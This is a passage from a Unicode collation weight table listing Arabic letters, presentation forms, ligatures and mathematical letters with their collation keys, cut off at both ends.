ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HEH MEDIAL FORM +FBED ; [.2282.0020.0019][.232A.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM +FBEC ; [.2282.0020.001A][.232A.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM +FBEF ; [.2282.0020.0019][.232B.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM +FBEE ; [.2282.0020.001A][.232B.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM +FBF3 ; [.2282.0020.0019][.232E.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM +FBF2 ; [.2282.0020.001A][.232E.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM +FBF1 ; [.2282.0020.0019][.232F.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM +FBF0 ; [.2282.0020.001A][.232F.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM +FBF5 ; [.2282.0020.0019][.2330.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM +FBF4 ; [.2282.0020.001A][.2330.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM +FBFB ; [.2282.0020.0017][.2339.0020.0017] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM +FBFA ; [.2282.0020.0019][.2339.0020.0019] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM +FC68 ; [.2282.0020.0019][.2339.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA FINAL FORM +FBF9 ; [.2282.0020.001A][.2339.0020.001A] # ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM +FC03 ; [.2282.0020.001A][.2339.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM +FC69 ; [.2282.0020.0019][.233A.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH FINAL FORM +FC04 ; [.2282.0020.001A][.233A.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM +FBF8 ; [.2282.0020.0017][.233E.0020.0017] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM +FBF7 ; [.2282.0020.0019][.233E.0020.0019] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E FINAL FORM +FBF6 ; [.2282.0020.001A][.233E.0020.001A] # ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM +08A8 ; [.2283.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND HAMZA ABOVE +08A9 ; [.2284.0020.0002] # ARABIC LETTER YEH WITH TWO DOTS BELOW AND DOT ABOVE +08AC ; [.2285.0020.0002] # ARABIC LETTER ROHINGYA YEH +0627 ; [.2286.0020.0002] # ARABIC LETTER ALEF +08AD ; [.2286.0020.0004] # ARABIC LETTER LOW ALEF +1EE00 ; [.2286.0020.0005] # ARABIC MATHEMATICAL ALEF +1EE80 ; [.2286.0020.0005] # ARABIC MATHEMATICAL LOOPED ALEF +FE8E ; [.2286.0020.0019] # ARABIC LETTER ALEF FINAL FORM +FE8D ; [.2286.0020.001A] # ARABIC LETTER ALEF ISOLATED FORM +FD3C ; [.2286.0020.0019][.0000.006D.0019] # ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM +FD3D ; [.2286.0020.001A][.0000.006D.001A] # ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM +0675 ; [.2286.0020.0004][.2278.0020.0004] # ARABIC LETTER HIGH HAMZA ALEF +FDF3 ; [.2286.0020.001A][.22FC.0020.001A][.2288.0020.001A][.22BE.0020.001A] # ARABIC LIGATURE AKBAR ISOLATED FORM +FDF2 ; [.2286.0020.001A][.2311.0020.001A][.2311.0020.001A][.2325.0020.001A] # ARABIC LIGATURE ALLAH ISOLATED FORM +066E ; [.2287.0020.0002] # ARABIC LETTER DOTLESS BEH +1EE1C ; [.2287.0020.0005] # ARABIC MATHEMATICAL DOTLESS BEH +1EE7C ; [.2287.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS BEH +0628 ; [.2288.0020.0002] # ARABIC LETTER BEH +1EE01 ; [.2288.0020.0005] # ARABIC MATHEMATICAL BEH +1EE21 ; [.2288.0020.0005] # ARABIC MATHEMATICAL INITIAL BEH +1EE61 ; [.2288.0020.0005] # ARABIC MATHEMATICAL STRETCHED BEH +1EE81 ; [.2288.0020.0005] # ARABIC MATHEMATICAL LOOPED BEH +1EEA1 ; [.2288.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK BEH +FE91 ; [.2288.0020.0017] # ARABIC LETTER BEH INITIAL FORM +FE92 ; [.2288.0020.0018] # ARABIC LETTER BEH MEDIAL FORM +FE90 ; [.2288.0020.0019] # ARABIC LETTER BEH FINAL FORM +FE8F ; [.2288.0020.001A] # ARABIC LETTER BEH ISOLATED FORM +FC9C ; [.2288.0020.0017][.229D.0020.0017] # ARABIC LIGATURE BEH WITH JEEM INITIAL FORM +FC05 ; [.2288.0020.001A][.229D.0020.001A] # ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM +FC9D ; [.2288.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE BEH WITH HAH INITIAL FORM +FC06 ; [.2288.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE BEH WITH HAH ISOLATED FORM +FDC2 ; [.2288.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM +FC9E ; [.2288.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE BEH WITH KHAH INITIAL FORM +FC07 ; [.2288.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM +FD9E ; [.2288.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM +FC6A ; [.2288.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE BEH WITH REH FINAL FORM +FC6B ; [.2288.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE BEH WITH ZAIN FINAL FORM +FC9F ; [.2288.0020.0017][.2318.0020.0017] # ARABIC LIGATURE BEH WITH MEEM INITIAL FORM +FCE1 ; [.2288.0020.0018][.2318.0020.0018] # ARABIC LIGATURE BEH WITH MEEM MEDIAL FORM +FC6C ; [.2288.0020.0019][.2318.0020.0019] # ARABIC LIGATURE BEH WITH MEEM FINAL FORM +FC08 ; [.2288.0020.001A][.2318.0020.001A] # ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM +FC6D ; [.2288.0020.0019][.231C.0020.0019] # ARABIC LIGATURE BEH WITH NOON FINAL FORM +FCA0 ; [.2288.0020.0017][.2325.0020.0017] # ARABIC LIGATURE BEH WITH HEH INITIAL FORM +FCE2 ; [.2288.0020.0018][.2325.0020.0018] # ARABIC LIGATURE BEH WITH HEH MEDIAL FORM +FC6E ; [.2288.0020.0019][.2339.0020.0019] # ARABIC LIGATURE BEH WITH ALEF MAKSURA FINAL FORM +FC09 ; [.2288.0020.001A][.2339.0020.001A] # ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM +FC6F ; [.2288.0020.0019][.233A.0020.0019] # ARABIC LIGATURE BEH WITH YEH FINAL FORM +FC0A ; [.2288.0020.001A][.233A.0020.001A] # ARABIC LIGATURE BEH WITH YEH ISOLATED FORM +067B ; [.2289.0020.0002] # ARABIC LETTER BEEH +FB54 ; [.2289.0020.0017] # ARABIC LETTER BEEH INITIAL FORM +FB55 ; [.2289.0020.0018] # ARABIC LETTER BEEH MEDIAL FORM +FB53 ; [.2289.0020.0019] # ARABIC LETTER BEEH FINAL FORM +FB52 ; [.2289.0020.001A] # ARABIC LETTER BEEH ISOLATED FORM +067E ; [.228A.0020.0002] # ARABIC LETTER PEH +FB58 ; [.228A.0020.0017] # ARABIC LETTER PEH INITIAL FORM +FB59 ; [.228A.0020.0018] # ARABIC LETTER PEH MEDIAL FORM +FB57 ; [.228A.0020.0019] # ARABIC LETTER PEH FINAL FORM +FB56 ; [.228A.0020.001A] # ARABIC LETTER PEH ISOLATED FORM +0680 ; [.228B.0020.0002] # ARABIC LETTER BEHEH +FB5C ; [.228B.0020.0017] # ARABIC LETTER BEHEH INITIAL FORM +FB5D ; [.228B.0020.0018] # ARABIC LETTER BEHEH MEDIAL FORM +FB5B ; [.228B.0020.0019] # ARABIC LETTER BEHEH FINAL FORM +FB5A ; [.228B.0020.001A] # ARABIC LETTER BEHEH ISOLATED FORM +0750 ; [.228C.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS HORIZONTALLY BELOW +0751 ; [.228D.0020.0002] # ARABIC LETTER BEH WITH DOT BELOW AND THREE DOTS ABOVE +0752 ; [.228E.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW +0753 ; [.228F.0020.0002] # ARABIC LETTER BEH WITH THREE DOTS POINTING UPWARDS BELOW AND TWO DOTS ABOVE +0754 ; [.2290.0020.0002] # ARABIC LETTER BEH WITH TWO DOTS BELOW AND DOT ABOVE +0755 ; [.2291.0020.0002] # ARABIC LETTER BEH WITH INVERTED SMALL V BELOW +08A0 ; [.2292.0020.0002] # ARABIC LETTER BEH WITH SMALL V BELOW +0756 ; [.2293.0020.0002] # ARABIC LETTER BEH WITH SMALL V +08A1 ; [.2294.0020.0002] # ARABIC LETTER BEH WITH HAMZA ABOVE +0629 ; [.2295.0020.0002] # ARABIC LETTER TEH MARBUTA +FE94 ; [.2295.0020.0019] # ARABIC LETTER TEH MARBUTA FINAL FORM +FE93 ; [.2295.0020.001A] # ARABIC LETTER TEH MARBUTA ISOLATED FORM +062A ; [.2296.0020.0002] # ARABIC LETTER TEH +1EE15 ; [.2296.0020.0005] # ARABIC MATHEMATICAL TEH +1EE35 ; [.2296.0020.0005] # ARABIC MATHEMATICAL INITIAL TEH +1EE75 ; [.2296.0020.0005] # ARABIC MATHEMATICAL STRETCHED TEH +1EE95 ; [.2296.0020.0005] # ARABIC MATHEMATICAL LOOPED TEH +1EEB5 ; [.2296.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK TEH +FE97 ; [.2296.0020.0017] # ARABIC LETTER TEH INITIAL FORM +FE98 ; [.2296.0020.0018] # ARABIC LETTER TEH MEDIAL FORM +FE96 ; [.2296.0020.0019] # ARABIC LETTER TEH FINAL FORM +FE95 ; [.2296.0020.001A] # ARABIC LETTER TEH ISOLATED FORM +FCA1 ; [.2296.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH JEEM INITIAL FORM +FC0B ; [.2296.0020.001A][.229D.0020.001A] # ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM +FD50 ; [.2296.0020.0017][.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM +FDA0 ; [.2296.0020.0019][.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM +FD9F ; [.2296.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM +FCA2 ; [.2296.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TEH WITH HAH INITIAL FORM +FC0C ; [.2296.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE TEH WITH HAH ISOLATED FORM +FD52 ; [.2296.0020.0017][.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM +FD51 ; [.2296.0020.0019][.22A4.0020.0019][.229D.0020.0019] # ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM +FD53 ; [.2296.0020.0017][.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM +FCA3 ; [.2296.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE TEH WITH KHAH INITIAL FORM +FC0D ; [.2296.0020.001A][.22A5.0020.001A] # ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM +FD54 ; [.2296.0020.0017][.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM +FDA2 ; [.2296.0020.0019][.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM +FDA1 ; [.2296.0020.0019][.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM +FC70 ; [.2296.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE TEH WITH REH FINAL FORM +FC71 ; [.2296.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE TEH WITH ZAIN FINAL FORM +FCA4 ; [.2296.0020.0017][.2318.0020.0017] # ARABIC LIGATURE TEH WITH MEEM INITIAL FORM +FCE3 ; [.2296.0020.0018][.2318.0020.0018] # ARABIC LIGATURE TEH WITH MEEM MEDIAL FORM +FC72 ; [.2296.0020.0019][.2318.0020.0019] # ARABIC LIGATURE TEH WITH MEEM FINAL FORM +FC0E ; [.2296.0020.001A][.2318.0020.001A] # ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM +FD55 ; [.2296.0020.0017][.2318.0020.0017][.229D.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM +FD56 ; [.2296.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM +FD57 ; [.2296.0020.0017][.2318.0020.0017][.22A5.0020.0017] # ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM +FDA4 ; [.2296.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM +FDA3 ; [.2296.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM +FC73 ; [.2296.0020.0019][.231C.0020.0019] # ARABIC LIGATURE TEH WITH NOON FINAL FORM +FCA5 ; [.2296.0020.0017][.2325.0020.0017] # ARABIC LIGATURE TEH WITH HEH INITIAL FORM +FCE4 ; [.2296.0020.0018][.2325.0020.0018] # ARABIC LIGATURE TEH WITH HEH MEDIAL FORM +FC74 ; [.2296.0020.0019][.2339.0020.0019] # ARABIC LIGATURE TEH WITH ALEF MAKSURA FINAL FORM +FC0F ; [.2296.0020.001A][.2339.0020.001A] # ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM +FC75 ; [.2296.0020.0019][.233A.0020.0019] # ARABIC LIGATURE TEH WITH YEH FINAL FORM +FC10 ; [.2296.0020.001A][.233A.0020.001A] # ARABIC LIGATURE TEH WITH YEH ISOLATED FORM +062B ; [.2297.0020.0002] # ARABIC LETTER THEH +1EE16 ; [.2297.0020.0005] # ARABIC MATHEMATICAL THEH +1EE36 ; [.2297.0020.0005] # ARABIC MATHEMATICAL INITIAL THEH +1EE76 ; [.2297.0020.0005] # ARABIC MATHEMATICAL STRETCHED THEH +1EE96 ; [.2297.0020.0005] # ARABIC MATHEMATICAL LOOPED THEH +1EEB6 ; [.2297.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK THEH +FE9B ; [.2297.0020.0017] # ARABIC LETTER THEH INITIAL FORM +FE9C ; [.2297.0020.0018] # ARABIC LETTER THEH MEDIAL FORM +FE9A ; [.2297.0020.0019] # ARABIC LETTER THEH FINAL FORM +FE99 ; [.2297.0020.001A] # ARABIC LETTER THEH ISOLATED FORM +FC11 ; [.2297.0020.001A][.229D.0020.001A] # ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM +FC76 ; [.2297.0020.0019][.22BE.0020.0019] # ARABIC LIGATURE THEH WITH REH FINAL FORM +FC77 ; [.2297.0020.0019][.22BF.0020.0019] # ARABIC LIGATURE THEH WITH ZAIN FINAL FORM +FCA6 ; [.2297.0020.0017][.2318.0020.0017] # ARABIC LIGATURE THEH WITH MEEM INITIAL FORM +FCE5 ; [.2297.0020.0018][.2318.0020.0018] # ARABIC LIGATURE THEH WITH MEEM MEDIAL FORM +FC78 ; [.2297.0020.0019][.2318.0020.0019] # ARABIC LIGATURE THEH WITH MEEM FINAL FORM +FC12 ; [.2297.0020.001A][.2318.0020.001A] # ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM +FC79 ; [.2297.0020.0019][.231C.0020.0019] # ARABIC LIGATURE THEH WITH NOON FINAL FORM +FCE6 ; [.2297.0020.0018][.2325.0020.0018] # ARABIC LIGATURE THEH WITH HEH MEDIAL FORM +FC7A ; [.2297.0020.0019][.2339.0020.0019] # ARABIC LIGATURE THEH WITH ALEF MAKSURA FINAL FORM +FC13 ; [.2297.0020.001A][.2339.0020.001A] # ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM +FC7B ; [.2297.0020.0019][.233A.0020.0019] # ARABIC LIGATURE THEH WITH YEH FINAL FORM +FC14 ; [.2297.0020.001A][.233A.0020.001A] # ARABIC LIGATURE THEH WITH YEH ISOLATED FORM +0679 ; [.2298.0020.0002] # ARABIC LETTER TTEH +FB68 ; [.2298.0020.0017] # ARABIC LETTER TTEH INITIAL FORM +FB69 ; [.2298.0020.0018] # ARABIC LETTER TTEH MEDIAL FORM +FB67 ; [.2298.0020.0019] # ARABIC LETTER TTEH FINAL FORM +FB66 ; [.2298.0020.001A] # ARABIC LETTER TTEH ISOLATED FORM +067A ; [.2299.0020.0002] # ARABIC LETTER TTEHEH +FB60 ; [.2299.0020.0017] # ARABIC LETTER TTEHEH INITIAL FORM +FB61 ; [.2299.0020.0018] # ARABIC LETTER TTEHEH MEDIAL FORM +FB5F ; [.2299.0020.0019] # ARABIC LETTER TTEHEH FINAL FORM +FB5E ; [.2299.0020.001A] # ARABIC LETTER TTEHEH ISOLATED FORM +067C ; [.229A.0020.0002] # ARABIC LETTER TEH WITH RING +067D ; [.229B.0020.0002] # ARABIC LETTER TEH WITH THREE DOTS ABOVE DOWNWARDS +067F ; [.229C.0020.0002] # ARABIC LETTER TEHEH +FB64 ; [.229C.0020.0017] # ARABIC LETTER TEHEH INITIAL FORM +FB65 ; [.229C.0020.0018] # ARABIC LETTER TEHEH MEDIAL FORM +FB63 ; [.229C.0020.0019] # ARABIC LETTER TEHEH FINAL FORM +FB62 ; [.229C.0020.001A] # ARABIC LETTER TEHEH ISOLATED FORM +062C ; [.229D.0020.0002] # ARABIC LETTER JEEM +1EE02 ; [.229D.0020.0005] # ARABIC MATHEMATICAL JEEM +1EE22 ; [.229D.0020.0005] # ARABIC MATHEMATICAL INITIAL JEEM +1EE42 ; [.229D.0020.0005] # ARABIC MATHEMATICAL TAILED JEEM +1EE62 ; [.229D.0020.0005] # ARABIC MATHEMATICAL STRETCHED JEEM +1EE82 ; [.229D.0020.0005] # ARABIC MATHEMATICAL LOOPED JEEM +1EEA2 ; [.229D.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK JEEM +FE9F ; [.229D.0020.0017] # ARABIC LETTER JEEM INITIAL FORM +FEA0 ; [.229D.0020.0018] # ARABIC LETTER JEEM MEDIAL FORM +FE9E ; [.229D.0020.0019] # ARABIC LETTER JEEM FINAL FORM +FE9D ; [.229D.0020.001A] # ARABIC LETTER JEEM ISOLATED FORM +FCA7 ; [.229D.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE JEEM WITH HAH INITIAL FORM +FC15 ; [.229D.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM +FDA6 ; [.229D.0020.0019][.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM +FDBE ; [.229D.0020.0019][.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM +FDFB ; [.229D.0020.001A][.2311.0020.001A][*0209.0020.001A][.229D.0020.001A][.2311.0020.001A][.2286.0020.001A][.2311.0020.001A][.2325.0020.001A] # ARABIC LIGATURE JALLAJALALOUHOU +FCA8 ; [.229D.0020.0017][.2318.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM INITIAL FORM +FC16 ; [.229D.0020.001A][.2318.0020.001A] # ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM +FD59 ; [.229D.0020.0017][.2318.0020.0017][.22A4.0020.0017] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM +FD58 ; [.229D.0020.0019][.2318.0020.0019][.22A4.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM +FDA7 ; [.229D.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM +FDA5 ; [.229D.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM +FD1D ; [.229D.0020.0019][.2339.0020.0019] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA FINAL FORM +FD01 ; [.229D.0020.001A][.2339.0020.001A] # ARABIC LIGATURE JEEM WITH ALEF MAKSURA ISOLATED FORM +FD1E ; [.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE JEEM WITH YEH FINAL FORM +FD02 ; [.229D.0020.001A][.233A.0020.001A] # ARABIC LIGATURE JEEM WITH YEH ISOLATED FORM +0683 ; [.229E.0020.0002] # ARABIC LETTER NYEH +FB78 ; [.229E.0020.0017] # ARABIC LETTER NYEH INITIAL FORM +FB79 ; [.229E.0020.0018] # ARABIC LETTER NYEH MEDIAL FORM +FB77 ; [.229E.0020.0019] # ARABIC LETTER NYEH FINAL FORM +FB76 ; [.229E.0020.001A] # ARABIC LETTER NYEH ISOLATED FORM +0684 ; [.229F.0020.0002] # ARABIC LETTER DYEH +FB74 ; [.229F.0020.0017] # ARABIC LETTER DYEH INITIAL FORM +FB75 ; [.229F.0020.0018] # ARABIC LETTER DYEH MEDIAL FORM +FB73 ; [.229F.0020.0019] # ARABIC LETTER DYEH FINAL FORM +FB72 ; [.229F.0020.001A] # ARABIC LETTER DYEH ISOLATED FORM +0686 ; [.22A0.0020.0002] # ARABIC LETTER TCHEH +FB7C ; [.22A0.0020.0017] # ARABIC LETTER TCHEH INITIAL FORM +FB7D ; [.22A0.0020.0018] # ARABIC LETTER TCHEH MEDIAL FORM +FB7B ; [.22A0.0020.0019] # ARABIC LETTER TCHEH FINAL FORM +FB7A ; [.22A0.0020.001A] # ARABIC LETTER TCHEH ISOLATED FORM +06BF ; [.22A1.0020.0002] # ARABIC LETTER TCHEH WITH DOT ABOVE +0687 ; [.22A2.0020.0002] # ARABIC LETTER TCHEHEH +FB80 ; [.22A2.0020.0017] # ARABIC LETTER TCHEHEH INITIAL FORM +FB81 ; [.22A2.0020.0018] # ARABIC LETTER TCHEHEH MEDIAL FORM +FB7F ; [.22A2.0020.0019] # ARABIC LETTER TCHEHEH FINAL FORM +FB7E ; [.22A2.0020.001A] # ARABIC LETTER TCHEHEH ISOLATED FORM +08A2 ; [.22A3.0020.0002] # ARABIC LETTER JEEM WITH TWO DOTS ABOVE +062D ; [.22A4.0020.0002] # ARABIC LETTER HAH +1EE07 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL HAH +1EE27 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL INITIAL HAH +1EE47 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL TAILED HAH +1EE67 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL STRETCHED HAH +1EE87 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL LOOPED HAH +1EEA7 ; [.22A4.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK HAH +FEA3 ; [.22A4.0020.0017] # ARABIC LETTER HAH INITIAL FORM +FEA4 ; [.22A4.0020.0018] # ARABIC LETTER HAH MEDIAL FORM +FEA2 ; [.22A4.0020.0019] # ARABIC LETTER HAH FINAL FORM +FEA1 ; [.22A4.0020.001A] # ARABIC LETTER HAH ISOLATED FORM +FCA9 ; [.22A4.0020.0017][.229D.0020.0017] # ARABIC LIGATURE HAH WITH JEEM INITIAL FORM +FC17 ; [.22A4.0020.001A][.229D.0020.001A] # ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM +FDBF ; [.22A4.0020.0019][.229D.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM +FCAA ; [.22A4.0020.0017][.2318.0020.0017] # ARABIC LIGATURE HAH WITH MEEM INITIAL FORM +FC18 ; [.22A4.0020.001A][.2318.0020.001A] # ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM +FD5B ; [.22A4.0020.0019][.2318.0020.0019][.2339.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM +FD5A ; [.22A4.0020.0019][.2318.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM +FD1B ; [.22A4.0020.0019][.2339.0020.0019] # ARABIC LIGATURE HAH WITH ALEF MAKSURA FINAL FORM +FCFF ; [.22A4.0020.001A][.2339.0020.001A] # ARABIC LIGATURE HAH WITH ALEF MAKSURA ISOLATED FORM +FD1C ; [.22A4.0020.0019][.233A.0020.0019] # ARABIC LIGATURE HAH WITH YEH FINAL FORM +FD00 ; [.22A4.0020.001A][.233A.0020.001A] # ARABIC LIGATURE HAH WITH YEH ISOLATED FORM +062E ; [.22A5.0020.0002] # ARABIC LETTER KHAH +1EE17 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL KHAH +1EE37 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL INITIAL KHAH +1EE57 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL TAILED KHAH +1EE77 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL STRETCHED KHAH +1EE97 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL LOOPED KHAH +1EEB7 ; [.22A5.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK KHAH +FEA7 ; [.22A5.0020.0017] # ARABIC LETTER KHAH INITIAL FORM +FEA8 ; [.22A5.0020.0018] # ARABIC LETTER KHAH MEDIAL FORM +FEA6 ; [.22A5.0020.0019] # ARABIC LETTER KHAH FINAL FORM +FEA5 ; [.22A5.0020.001A] # ARABIC LETTER KHAH ISOLATED FORM +FCAB ; [.22A5.0020.0017][.229D.0020.0017] # ARABIC LIGATURE KHAH WITH JEEM INITIAL FORM +FC19 ; [.22A5.0020.001A][.229D.0020.001A] # ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM +FC1A ; [.22A5.0020.001A][.22A4.0020.001A] # ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM +FCAC ; [.22A5.0020.0017][.2318.0020.0017] # ARABIC LIGATURE KHAH WITH MEEM INITIAL FORM +FC1B ; [.22A5.0020.001A][.2318.0020.001A] # ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM +FD1F ; [.22A5.0020.0019][.2339.0020.0019] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA FINAL FORM +FD03 ; [.22A5.0020.001A][.2339.0020.001A] # ARABIC LIGATURE KHAH WITH ALEF MAKSURA ISOLATED FORM +FD20 ; [.22A5.0020.0019][.233A.0020.0019] # ARABIC LIGATURE KHAH WITH YEH FINAL FORM +FD04 ; [.22A5.0020.001A][.233A.0020.001A] # ARABIC LIGATURE KHAH WITH YEH ISOLATED FORM +0681 ; [.22A6.0020.0002] # ARABIC LETTER HAH WITH HAMZA ABOVE +0682 ; [.22A7.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS VERTICAL ABOVE +0685 ; [.22A8.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS ABOVE +0757 ; [.22A9.0020.0002] # ARABIC LETTER HAH WITH TWO DOTS ABOVE +0758 ; [.22AA.0020.0002] # ARABIC LETTER HAH WITH THREE DOTS POINTING UPWARDS BELOW +076E ; [.22AB.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH BELOW +076F ; [.22AC.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH AND TWO DOTS +0772 ; [.22AD.0020.0002] # ARABIC LETTER HAH WITH SMALL ARABIC LETTER TAH ABOVE +077C ; [.22AE.0020.0002] # ARABIC LETTER HAH WITH EXTENDED ARABIC-INDIC DIGIT FOUR BELOW +062F ; [.22AF.0020.0002] # ARABIC LETTER DAL +1EE03 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL DAL +1EE83 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL LOOPED DAL +1EEA3 ; [.22AF.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK DAL +FEAA ; [.22AF.0020.0019] # ARABIC LETTER DAL FINAL FORM +FEA9 ; [.22AF.0020.001A] # ARABIC LETTER DAL ISOLATED FORM +0630 ; [.22B0.0020.0002] # ARABIC LETTER THAL +1EE18 ; [.22B0.0020.0005] # ARABIC MATHEMATICAL THAL +1EE98 ; [.22B0.0020.0005] # ARABIC 